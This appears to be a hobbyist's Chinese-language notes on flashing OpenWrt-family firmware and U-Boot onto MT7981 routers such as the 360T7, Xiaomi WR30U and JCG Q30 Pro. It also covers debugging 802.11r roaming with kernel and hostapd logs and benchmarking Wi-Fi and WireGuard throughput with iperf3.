[  5]   0.00-10.05  sec   657 MBytes   548 Mbits/sec   16             sender
[  5]   0.00-10.00  sec   653 MBytes   548 Mbits/sec                  receiver

固件选择

mtwifi 闭源驱动

恩山 237 大佬固件

  • Hanwckf 的源码 +18.06 软件包
  • 支持 802.11 k/v/r 无缝漫游、硬件 QOS 等功能
  • 通过 uboot 刷入过程中,不知为何刷完重启后灯灭了一段时间。刚开始还以为是进不了系统,但是后面发现没问题的。
  • 界面主题是 design,确实很好看
  • 致命问题:由于是自编译,无法安装 wireguard
  • 第二个严重问题:没有使用 wpad,而是使用 luci-app-mtk 管理无线,这导致配置 FT 没法

hanwckf/immortalwrt-mt798x (github.com)

QWRT(lean) 【新提醒】潘多拉 QWRT MT7981 360T7 R23.5.4 高性能闭源固件发布(原生无线配置)-OPENWRT 专版 - 恩山无线论坛 - Powered by Discuz! (right.com.cn)

  • lua 界面
  • 原版无线配置

加群后,群主告诉我,闭源驱动只能和闭源驱动组 mesh,并且也不太支持 802.11r。

ImmortalwrtARM 【新提醒】【2023-08-12】小米 WR30U 闭源驱动 immortalwrt 固件 - 小米无线路由器以及小米无线相关的设备 - 恩山无线论坛 - Powered by Discuz! (right.com.cn)

不确定

原版 immortalwrt

  • 使用了下发现 wan 口设置 dhcp 刚开始总有问题,虽然最后通过手动重启 dnsmasq 方式解决了,但是确实不是很顺利。

自编译

大佬你好。我购买了 360T7 和 wr30u 来对家中网络进行升级。但是由于这两个都没有官方 openwrt 支持,我用的都是别人编译的版本。 360T7 用的是这个hanwckf/immortalwrt-mt798x (github.com),但是它的无限配置是 luci-app-mtk,我找不到 802.11r 的配置选项。 wr30u 用的是这个(QWRT) https://www.right.com.cn/forum/thread-8284824-1-1.html,它有 802.11r 但是却啥都不能设置,我查看日志看到 FT 会有 The PMKID is invalid 错误。现象就是连上它之后压根不会漫游,甚至强度低于 -80db 了都不会,只能手动断开 wifi 重连。

看到你测试了无线开源和闭源的固件,我想问下开源的固件在那找。我不需要最强的性能,我只想要它的设置和官方 openwrt 一样,可以一起工作就行。😭

注:家中网络原本是 ax6s(做 ac)+3 R3g(ap),802.11r 工作得很正常。

小米 WR30U

参考资料:

想从 QWRT 刷成主线 openwrt,刷了 FIP 分区和 ubi 分区(刷了 ubootmod 和对应固件),结果把 WR30U 刷坏了。详细见 WR30U 救砖 原本的 QWRT 应该使用的是 hanwckf's uboot(immortalwrt-112m)

刷机

使用 hanwckf's 大佬提供的 bl-mt798x uboot 支持多种机型 + 分区格式:mt798x uboot 功能介绍 (hanwckf.top)

bl-mt798x 项目基于 mtk 原厂提供的 ATF 及 uboot 源码,特点如下

  • uboot 自带 mtk 原厂开发的简易 webui 恢复界面,可以通过 webui 直接刷入固件或者更新 uboot,也可以使用串口+TFTP 刷入固件
  • 支持多种 Flash 分区布局切换功能(仅支持 spi-nand),可以在 webui 中切换不同的分区布局,完美兼容小米原厂固件

hanwckf 的 uboot 支持多种 dts 布局,可以引导不同的固件(包含官方固件)。但是需注意

  • uboot 支持刷入小米原厂 mtd8/mtd9 备份文件(可从此处下载),不支持miwifi.com官网下载的固件
  • 由于 OpenWrt 主线的 ubootmod 固件未开启 nmbm 支持,因此不支持任何 ubootmod 分区布局的主线固件(包括 OpenWrt, X-Wrt 等带有 ubootmod 字样的固件),请使用 OpenWrt 主线提供的 uboot 启动 ubootmod 固件
固件类型 uboot (default) uboot (immortalwrt-112m) uboot (qwrt)
小米原厂 mtd8/mtd9 备份文件 × ×
immortalwrt-mt798x stock × ×
OpenWrt stock × ×
immortalwrt stock × ×
X-Wrt stock × ×
immortalwrt-mt798x 112m × ×
GL.iNet by 237176253 × ×
X-Wrt 112m nmbm × ×
OpenWrt 112m nmbm × ×
immortalwrt 112m nmbm × ×
X-Wrt 112m nmbm × ×
QWRT × ×
OpenWrt ubootmod × × ×
immortalwrt ubootmod × × ×
X-Wrt ubootmod × × ×

固件

以下固件均使用闭源无线驱动,无法和官方 openwrt 组 mesh QWRT 【新提醒】潘多拉 QWRT MT7981 小米 WR30U 联通版 高性能闭源固件发布(原生无线配置)-OPENWRT 专版 - 恩山无线论坛 - Powered by Discuz! (right.com.cn)

X-Wrt X-Wrt, for IoT, a custom Distribution for OpenWrt

hanwckf's immortalwrt hanwckf/immortalwrt-mt798x (github.com) immortalwrt-mt798x 项目介绍 (hanwckf.top)

官方教程

官方教程git.openwrt.org Git - openwrt/openwrt.git/commit

stock 固件 uboot

  • 原厂解锁 ssh
  • 刷 initramfs-factory.ubi (ubiformat)
  • 使用 squashfs-sysupgrade.bin 升级(命令行 sysupgrade 或者 luci) stock uboot 分区布局,ubi 部分很小,只有 34MB(128MB flash)

改版 uboot 可以使用改版 uboot 分区格式(不是使用改版 bootloader,比如 breed。而且神奇的是 uboot 居然也支持网页上传固件功能)

  • 刷 ubootmod-initramfs-factory.ubi
  • kmod-mtd-rw
  • Format ubi and create new ubootenv volume
ubidetach -p /dev/mtd8; ubiformat /dev/mtd8 -y; ubiattach -p /dev/mtd8  
   ubimkvol /dev/ubi0 -n 0 -N ubootenv -s 128KiB  
   ubimkvol /dev/ubi0 -n 1 -N ubootenv2 -s 128KiB
  • Flash Openwrt U-Boot
    • BL2 是 ARM 设备关于多级 Bootloader 中的一级。
    • FIP 包含 uboot
mtd write /tmp/ubootmod-preloader.bin BL2  
 mtd write /tmp/ubootmod-bl31-uboot.fip FIP
  • sysupgrade

恢复原厂固件

  • sysupgrade -F -n /tmp/ubootmod-initramfs-recovery.itb。系统会重启进入 openwrt initramfs 系统
  • Format ubi and Nvram
    ubidetach -p /dev/mtd8; ubiformat /dev/mtd8 -y; ubiattach -p /dev/mtd8    mtd erase Nvram    - Flash stock U-Boot and ubi
    mtd write /tmp/BL2.bin BL2    mtd write /tmp/FIP.bin FIP    mtd write /tmp/ubi.bin ubi
  • 刷回备份 mtd8(原厂固件)    Just run command: ubiformat /dev/mtd8 -y -f /tmp/ubi.bin

其它 7981

做工果然还是有区别的,ax6s wifi6 160Mhz 极限可以跑到1.56Gbits/sec。而 jcg q30 pro 最高跑到 1.2G。

无线规格是 ax3000,支持 160Mhz 频宽的 Wi-Fi,相比红米 ax6s 的 4x4mimo 80Mhz 频宽,目前 2*2 mimo 160Mhz 还是更实用,能让近几年的安卓、Windows 设备都能达到 2400Mbps 的连接速率;

ax6s 我成功开启了 160Mhz,虽然开始确实遇到了开启后,没有 wifi 信号的问题。但是试了:国家码改成 AU,60 channel 后就成功了(36 试了开不开)。在 wifi analyzer 和 wifi man 手机软件中看确实是 60 开始的 80 Mhz。但是笔记本连接确实能协商到 2400,并且 iperf3 测速上传也能到 1.5G。

$ iperf3.exe -c ax6s.op2 -P 2
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.00  sec   949 MBytes   796 Mbits/sec                  sender
[  5]   0.00-10.01  sec   949 MBytes   796 Mbits/sec                  receiver
[  7]   0.00-10.00  sec   911 MBytes   764 Mbits/sec                  sender
[  7]   0.00-10.01  sec   911 MBytes   764 Mbits/sec                  receiver
[SUM]   0.00-10.00  sec  1.82 GBytes  1.56 Gbits/sec                  sender
[SUM]   0.00-10.01  sec  1.82 GBytes  1.56 Gbits/sec                  receiver

主线op:OpenWrt Firmware Selector JCG Q30 Pro (OpenWrt U-Boot layout)) ImmortalWrt Firmware Selector JCG Q30 Pro (custom U-Boot layout)ImmortalWrt Firmware Selector

CMCC RAX3000M:在中国移动 RAX3000M 上使用主线 openwrt 记录 - sh1marin's blog

  • 惊现 cyy
  • 有 USB3.0
  • 大小比 jcg 略小点,但是比 jcg 厚一点

H3C NX30 Pro

小米 AX3000T:天线可以折叠,外形比较好看。

JCG Q30 PRO

immortalwrt 支持

**Commit:** 2084a1a31c8faf1adc6b170f3f15fc0660a52ec4  
**Parents:** 1fabb1e2f5c79ddb8038e9675965cb41054139fc  
**Author:** Tianling Shen <[cnsztl@immortalwrt.org](mailto:cnsztl@immortalwrt.org)>  
**Author Date:** Mon Jun 26 2023 21:00:49 GMT+0800 (China Standard Time)  
**Committer:** Tianling Shen <[cnsztl@immortalwrt.org](mailto:cnsztl@immortalwrt.org)>  
**Committer Date:** Mon Jun 26 2023 21:02:02 GMT+0800 (China Standard Time)  

mediatek: add JCG Q30 (Pro) support  

Signed-off-by: Tianling Shen <cnsztl@immortalwrt.org>

主线版本

**Commit:** 626344c9926dcf2db2e10681c19aab0328fee160  
**Parents:** b42c5272286ee248c698cc2cfac88df1bf51cbe3  
**Author:** Chukun Pan <[amadeus@jmu.edu.cn](mailto:amadeus@jmu.edu.cn)>  
**Author Date:** Fri Jun 16 2023 23:16:30 GMT+0800 (China Standard Time)  
**Committer:** Hauke Mehrtens <[hauke@hauke-m.de](mailto:hauke@hauke-m.de)>  
**Committer Date:** Sun Nov 19 2023 23:52:16 GMT+0800 (China Standard Time)  

mediatek: filogic: add JCG Q30 PRO support  

Hardware specification:  
  SoC: MediaTek MT7981B 2x A53  
  Flash: Winbond 128MB  
  RAM: DDR3 256MB  
  Ethernet: 4x 10/100/1000 Mbps  
  Switch: MediaTek MT7531AE  
  WiFi: MediaTek MT7976C  
  Button: Reset  
  Power: DC 12V 1A  

Flash instructions:  
  1. Connect to your PC via the Gigabit port of the router,  
     set a static ip on the ethernet interface of your PC.  
     (ip 192.168.1.254, gateway 192.168.1.1)  
  2. Attach UART, pause at u-boot menu.  
  3. Select "Upgrade ATF BL2", then use preloader.bin  
  4. Select "Upgrade ATF FIP", then use bl31-uboot.fip  
  5. Download the initramfs image, and type "reset",  
     waiting for tftp recovery to complete.  
  6. After openwrt boots up, perform sysupgrade.  

Note:  
  1. Since NMBM is disabled, we must back up all partitions.  
  2. Although we can upgrade new firmware in the stock firmware,  
     we need the special fit image signature of MediaTek and  
     dual boot (hack kernel) to make u-boot boot it. So just  
     abandon these hacks and flash it via the serial port.  

Signed-off-by: Chukun Pan <amadeus@jmu.edu.cn>

immortal 删除了 custom layout

**Commit:** 8593c213b018e380e465f9967225abc31b5b3e75  
**Parents:** a97a7d457528bdc6b3c325858edadbec7e7b8641  
**Author:** Tianling Shen <[cnsztl@immortalwrt.org](mailto:cnsztl@immortalwrt.org)>  
**Author Date:** Sat Jan 06 2024 14:24:12 GMT+0800 (China Standard Time)  
**Committer:** Tianling Shen <[cnsztl@immortalwrt.org](mailto:cnsztl@immortalwrt.org)>  
**Committer Date:** Thu Jan 11 2024 11:02:29 GMT+0800 (China Standard Time)  

mediatek: remove custom layout for JCG Q30  

Since the mainline implementation has been accepted by upstream,  
it doesn't make sense to keep these hacks. People are also confused  
with these "custom layouts".  

Signed-off-by: Tianling Shen <cnsztl@immortalwrt.org>
  • 主线 op 没有免拆刷机方法(刷过渡包)吗?
    • 看来确实没有,来自主线 commit msg:Although we can upgrade new firmware in the stock firmware, we need the special fit image signature of MediaTek and dual boot (hack kernel) to make u-boot boot it. So just abandon these hacks and flash it via the serial port.
  • 可以先用 237 过渡固件刷好 uboot 后,直接通过 WebUI 上传主线 op sysupgrade文件吗(主线只有sysupgrade没有factory)
  • 可以刷好任意一个 openwrt 版本后,ssh 上去后,通过 mtd 刷写主线 op 吗,需要修改哪些东西(我之前因为操作不当把一个 wr30u 变砖了,即使 TTL 进入了 uboot,结果网络不通,没法通过 tftp 恢复)
  • immortalwrt 两个版本(OpenWrt U-Boot layout 和 custom U-Boot layout)区别是什么
    • Tianling 版本的开启了 nmbm 功能,主线的没有。flash 分区不一样
  • 为什么刷天灵版本 uboot 不用修改 BL2(主线 op 需要升级 ATF BL2和FIP)

几个一般性的问题

  • 主线的 uboot 没有 webui 的功能吗
  • 很多刷机方法里的先刷 initramfs image,再 sysupgrade 的目的是为什么?为什么不直接修改 firmware 分区

遇到问题

5g 160MHz 无线很慢,ping 大包直接丢包。重新连接 wifi 就好了

$ ping 192.168.1.1 -l 2000

正在 Ping 192.168.1.1 具有 2000 字节的数据:
请求超时。
请求超时。
请求超时。
来自 192.168.1.1 的回复: 字节=2000 时间=3ms TTL=64

192.168.1.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 1,丢失 = 3 (75% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 3ms,最长 = 3ms,平均 = 3ms

FT

OpenWRT 路由器快速漫游(802.11r)配置教程以及深度解析_路由器_什么值得买 (smzdm.com)

Thu Aug 17 11:31:19 2023 kern.warn kernel: [164938.908390] 7981@C13L2,MacTableInsertEntry() 1537: New Sta:2a:85:8f:ff:be:e3
Thu Aug 17 11:31:19 2023 kern.err kernel: [164938.915643] 7981@C14L1,FT_AuthReqHandler() 536: The MDIE is invalid(Peer MDID= 17 17, My MDID = 82 84
Thu Aug 17 11:31:22 2023 kern.notice kernel: [164942.301972] 7981@C08L3,ap_peer_auth_req_at_idle_action() 717: AUTH - MBSS(1), Rcv AUTH seq#1, Alg=2, Status=0 from [wcid=1]2a:85:8f:ff:be:e3
Thu Aug 17 11:31:22 2023 kern.err kernel: [164942.314678] 7981@C14L1,FT_AuthReqHandler() 536: The MDIE is invalid(Peer MDID= 17 17, My MDID = 82 84
Thu Aug 17 11:31:26 2023 kern.notice kernel: [164945.762095] 7981@C08L3,ap_peer_auth_req_at_idle_action() 717: AUTH - MBSS(1), Rcv AUTH seq#1, Alg=2, Status=0 from [wcid=1]2a:85:8f:ff:be:e3
Thu Aug 17 11:31:26 2023 kern.err kernel: [164945.774793] 7981@C14L1,FT_AuthReqHandler() 536: The MDIE is invalid(Peer MDID= 17 17, My MDID = 82 84
Thu Aug 17 11:31:32 2023 kern.warn kernel: [164952.375145] 7981@C01L2,wifi_sys_disconn_act() 1002:  wdev_idx=1
Thu Aug 17 11:31:32 2023 kern.warn kernel: [164952.381500] 7981@C13L2,MacTableDeleteEntry() 1793: Del Sta:2a:85:8f:ff:be:e3

客厅 r3g

Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-AUTHENTICATE.indication(2a:85:8f:ff:be:e3, OPEN_SYSTEM)
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-DELETEKEYS.request(2a:85:8f:ff:be:e3)
Thu Aug 17 11:30:05 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: authenticated
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: association OK (aid 1)
Thu Aug 17 11:30:05 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: associated (aid 1)
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-ASSOCIATE.indication(2a:85:8f:ff:be:e3)
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-DELETEKEYS.request(2a:85:8f:ff:be:e3)
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: binding station to interface 'wlan1'
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: event 1 notification
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: start authentication
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.1X: unauthorizing port
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: sending 1/4 msg of 4-Way Handshake
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: received EAPOL-Key frame (2/4 Pairwise)
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: sending 3/4 msg of 4-Way Handshake
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: received EAPOL-Key frame (4/4 Pairwise)
Thu Aug 17 11:30:05 2023 daemon.notice hostapd: wlan1: AP-STA-CONNECTED 2a:85:8f:ff:be:e3
Thu Aug 17 11:30:05 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.1X: authorizing port
Thu Aug 17 11:30:05 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 RADIUS: starting accounting session CDB345D82723F2E1
Thu Aug 17 11:30:05 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: pairwise key handshake completed (RSN)
Thu Aug 17 11:30:05 2023 daemon.notice hostapd: wlan1: EAPOL-4WAY-HS-COMPLETED 2a:85:8f:ff:be:e3

Thu Aug 17 11:36:38 2023 daemon.notice hostapd: wlan1: AP-STA-DISCONNECTED 2a:85:8f:ff:be:e3
Thu Aug 17 11:36:38 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: disassociated due to inactivity
Thu Aug 17 11:36:38 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-DISASSOCIATE.indication(2a:85:8f:ff:be:e3, 4)
Thu Aug 17 11:36:38 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-DELETEKEYS.request(2a:85:8f:ff:be:e3)
Thu Aug 17 11:36:39 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: deauthenticated due to inactivity (timer DEAUTH/REMOVE)
Thu Aug 17 11:36:39 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-DEAUTHENTICATE.indication(2a:85:8f:ff:be:e3, 2)
Thu Aug 17 11:36:39 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-DELETEKEYS.request(2a:85:8f:ff:be:e3)

op3(ax6s)

Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: binding station to interface 'wlan1'
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: authentication OK (FT)
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-AUTHENTICATE.indication(2a:85:8f:ff:be:e3, FT)
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: association OK (aid 1)
Thu Aug 17 11:30:57 2023 daemon.info hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: associated (aid 1)
Thu Aug 17 11:30:57 2023 daemon.notice hostapd: wlan1: AP-STA-CONNECTED 2a:85:8f:ff:be:e3
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 MLME: MLME-REASSOCIATE.indication(2a:85:8f:ff:be:e3)
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 IEEE 802.11: binding station to interface 'wlan1'
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: event 6 notification
Thu Aug 17 11:30:57 2023 daemon.debug hostapd: wlan1: STA 2a:85:8f:ff:be:e3 WPA: FT authentication already completed - do not start 4-way handshake

其它

原厂系统 支持的功能

从咸鱼上买的,路由器系统里可以看到 1 月份的日志。

uboot 控制台

webui 刷机时串口输出

硬件性能测试 (wg 带宽)

king3399

未加密

root@op1 ➜  ~ iperf3 -c 114.214.236.90

[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.10 GBytes   943 Mbits/sec   70             sender
[  5]   0.00-10.05  sec  1.09 GBytes   936 Mbits/sec                  receiver

root@op1 ➜  ~ iperf3 -c king6.yfycloud.top
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.08 GBytes   924 Mbits/sec   29             sender
[  5]   0.00-10.04  sec  1.07 GBytes   918 Mbits/sec                  receiver

wg

➜  ~ iperf3 -c king
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.04 GBytes   893 Mbits/sec  70559             sender
[  5]   0.00-10.04  sec  1.04 GBytes   887 Mbits/sec                  receiver

➜  ~ iperf3 -c king -R
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.04  sec   691 MBytes   577 Mbits/sec    2             sender
[  5]   0.00-10.00  sec   688 MBytes   577 Mbits/sec                  receiver

p2w

未加密,居然跑不满千兆(连接中间通过了一个 usb 千兆网卡)

➜  ~ iperf3 -c p2w
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   754 MBytes   633 Mbits/sec  344             sender
[  5]   0.00-10.00  sec   752 MBytes   630 Mbits/sec                  receiver

➜  ~ iperf3 -c p2w -R
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.01  sec   902 MBytes   757 Mbits/sec  738             sender
[  5]   0.00-10.00  sec   902 MBytes   757 Mbits/sec                  receiver

ax6s

未加密(中间是一个 usb 千兆网卡)

(base) yfy@Tianyi ➜  ~ iperf3 -c 192.168.36.2
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.10 GBytes   942 Mbits/sec    0             sender
[  5]   0.00-10.01  sec  1.09 GBytes   939 Mbits/sec                  receiver

(base) yfy@Tianyi ➜  ~ iperf3 -c 192.168.36.2 -R
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.09 GBytes   940 Mbits/sec    0             sender
[  5]   0.00-10.00  sec  1.09 GBytes   939 Mbits/sec                  receiver

wg 复用之前的 home 到学校数据 baseline:ipv6 直连

home下载
[SUM]   0.00-10.00  sec   798 MBytes   669 Mbits/sec  468             sender
[SUM]   0.00-10.05  sec   786 MBytes   656 Mbits/sec                  receiver

home上传
[SUM]   0.00-10.06  sec   925 MBytes   771 Mbits/sec  1185             sender
[SUM]   0.00-10.00  sec   918 MBytes   770 Mbits/sec                  receiver
➜  ~ iperf3 -c op3
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   163 MBytes   137 Mbits/sec    0             sender
[  5]   0.00-10.05  sec   161 MBytes   134 Mbits/sec                  receiver

➜  ~ iperf3 -c op3 -P 5
[SUM]   0.00-10.00  sec   537 MBytes   450 Mbits/sec  302             sender
[SUM]   0.00-10.06  sec   525 MBytes   438 Mbits/sec                  receiver

➜  ~ iperf3 -c op3 -R
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.05  sec   235 MBytes   196 Mbits/sec  170             sender
[  5]   0.00-10.00  sec   234 MBytes   196 Mbits/sec                  receiver

➜  ~ iperf3 -c op3 -R -P 5
[SUM]   0.00-10.05  sec   504 MBytes   421 Mbits/sec    0             sender
[SUM]   0.00-10.00  sec   497 MBytes   417 Mbits/sec                  receiver

恐怖的 CPU 占用